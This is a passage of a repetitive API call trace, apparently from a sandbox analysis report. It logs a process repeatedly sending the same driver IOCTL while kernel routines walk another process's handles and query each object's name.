PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.152] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800311acd0, HandleInformation=0x0) returned 0x0 [0113.152] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.152] PsReleaseProcessExitSynchronization () returned 0x2 [0113.152] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.152] ObQueryNameString (in: Object=0xfffffa800311acd0, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.152] ObfDereferenceObject (Object=0xfffffa800311acd0) returned 0x1 [0113.152] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.152] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.152] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0113.152] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.152] PsAcquireProcessExitSynchronization () returned 0x0 [0113.152] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.152] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800311be90, HandleInformation=0x0) returned 0x0 [0113.152] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.152] PsReleaseProcessExitSynchronization () returned 0x2 [0113.152] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.152] ObQueryNameString (in: Object=0xfffffa800311be90, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.152] ObfDereferenceObject (Object=0xfffffa800311be90) returned 0x1 [0113.152] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.152] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.152] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0113.152] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.152] PsAcquireProcessExitSynchronization () returned 0x0 [0113.152] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.152] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003124d10, HandleInformation=0x0) returned 0x0 [0113.152] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.152] PsReleaseProcessExitSynchronization () returned 0x2 [0113.152] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.152] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.152] ObfDereferenceObject (Object=0xfffffa8003124d10) returned 0x1 [0113.152] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.152] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.153] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0113.153] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.153] PsAcquireProcessExitSynchronization () returned 0x0 [0113.153] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.153] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003124b80, HandleInformation=0x0) returned 0x0 [0113.153] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.153] PsReleaseProcessExitSynchronization () returned 0x2 [0113.153] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.153] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.153] ObfDereferenceObject (Object=0xfffffa8003124b80) returned 0x1 [0113.153] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.153] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.153] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0113.153] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.153] PsAcquireProcessExitSynchronization () returned 0x0 [0113.153] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.153] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800c0d0cb0, HandleInformation=0x0) returned 0x0 [0113.153] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.153] PsReleaseProcessExitSynchronization () returned 0x2 [0113.153] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.153] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.153] ObfDereferenceObject (Object=0xfffffa800c0d0cb0) returned 0x12 [0113.153] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.153] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.153] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.153] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.153] PsAcquireProcessExitSynchronization () returned 0x0 [0113.153] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.153] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800306e070, HandleInformation=0x0) returned 0x0 [0113.153] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.154] PsReleaseProcessExitSynchronization () returned 0x2 [0113.154] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.154] ObQueryNameString (in: Object=0xfffffa800306e070, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.154] ObfDereferenceObject (Object=0xfffffa800306e070) returned 0x2 [0113.154] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.154] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.154] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0113.154] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.154] PsAcquireProcessExitSynchronization () returned 0x0 [0113.154] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.154] ObReferenceObjectByHandle (in: Handle=0x194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003122070, HandleInformation=0x0) returned 0x0 [0113.154] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.154] PsReleaseProcessExitSynchronization () returned 0x2 [0113.154] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.154] ObQueryNameString (in: Object=0xfffffa8003122070, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.154] ObfDereferenceObject (Object=0xfffffa8003122070) returned 0x2 [0113.154] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.154] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.154] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.154] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.154] PsAcquireProcessExitSynchronization () returned 0x0 [0113.154] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.154] ObReferenceObjectByHandle (in: Handle=0x19c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031228d0, HandleInformation=0x0) returned 0x0 [0113.154] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.154] PsReleaseProcessExitSynchronization () returned 0x2 [0113.154] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.154] ObQueryNameString (in: Object=0xfffffa80031228d0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.154] ObfDereferenceObject (Object=0xfffffa80031228d0) returned 0x2 [0113.154] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.155] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.155] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.155] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.155] PsAcquireProcessExitSynchronization () returned 0x0 [0113.155] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.155] ObReferenceObjectByHandle (in: Handle=0x1a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003167360, HandleInformation=0x0) returned 0x0 [0113.155] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.155] PsReleaseProcessExitSynchronization () returned 0x2 [0113.155] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.155] ObQueryNameString (in: Object=0xfffffa8003167360, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.155] ObfDereferenceObject (Object=0xfffffa8003167360) returned 0x2 [0113.155] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.155] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.155] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.155] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.155] PsAcquireProcessExitSynchronization () returned 0x0 [0113.155] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.155] ObReferenceObjectByHandle (in: Handle=0x1a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003169bb0, HandleInformation=0x0) returned 0x0 [0113.155] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.155] PsReleaseProcessExitSynchronization () returned 0x2 [0113.155] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.155] ObQueryNameString (in: Object=0xfffffa8003169bb0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.155] ObfDereferenceObject (Object=0xfffffa8003169bb0) returned 0x2 [0113.155] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.155] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.155] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0113.155] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.155] PsAcquireProcessExitSynchronization () returned 0x0 [0113.155] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.156] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800316a180, HandleInformation=0x0) returned 0x0 [0113.156] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.156] PsReleaseProcessExitSynchronization () returned 0x2 [0113.156] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.156] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.156] ObfDereferenceObject (Object=0xfffffa800316a180) returned 0x20 [0113.156] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.156] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.156] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0113.156] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.156] PsAcquireProcessExitSynchronization () returned 0x0 [0113.156] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.156] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800b6a4e20, HandleInformation=0x0) returned 0x0 [0113.156] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.156] PsReleaseProcessExitSynchronization () returned 0x2 [0113.156] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.156] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.156] ObfDereferenceObject (Object=0xfffffa800b6a4e20) returned 0x20 [0113.156] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.156] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.156] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0113.156] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.156] PsAcquireProcessExitSynchronization () returned 0x0 [0113.156] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.156] ObReferenceObjectByHandle (in: Handle=0x1dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800316fea0, HandleInformation=0x0) returned 0x0 [0113.156] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.156] PsReleaseProcessExitSynchronization () returned 0x2 [0113.156] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.156] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.156] ObfDereferenceObject (Object=0xfffffa800316fea0) returned 0x12 [0113.157] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.157] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.157] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0113.157] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.157] PsAcquireProcessExitSynchronization () returned 0x0 [0113.157] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.157] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800316d800, HandleInformation=0x0) returned 0x0 [0113.157] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.157] PsReleaseProcessExitSynchronization () returned 0x2 [0113.157] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.157] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.157] ObfDereferenceObject (Object=0xfffffa800316d800) returned 0x20 [0113.157] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.157] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.157] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0113.157] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.157] PsAcquireProcessExitSynchronization () returned 0x0 [0113.157] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.157] ObReferenceObjectByHandle (in: Handle=0x210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800316eda0, HandleInformation=0x0) returned 0x0 [0113.157] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.157] PsReleaseProcessExitSynchronization () returned 0x2 [0113.157] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.157] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.157] ObfDereferenceObject (Object=0xfffffa800316eda0) returned 0x12 [0113.157] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.157] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.158] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.158] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0113.158] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.158] PsAcquireProcessExitSynchronization () returned 0x0 [0113.158] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff880055905d0) [0113.158] ObReferenceObjectByHandle (in: Handle=0x214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800f25e8e0, HandleInformation=0x0) returned 0x0 [0113.158] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.158] PsReleaseProcessExitSynchronization () returned 0x2 [0113.158] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0113.158] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590508 | 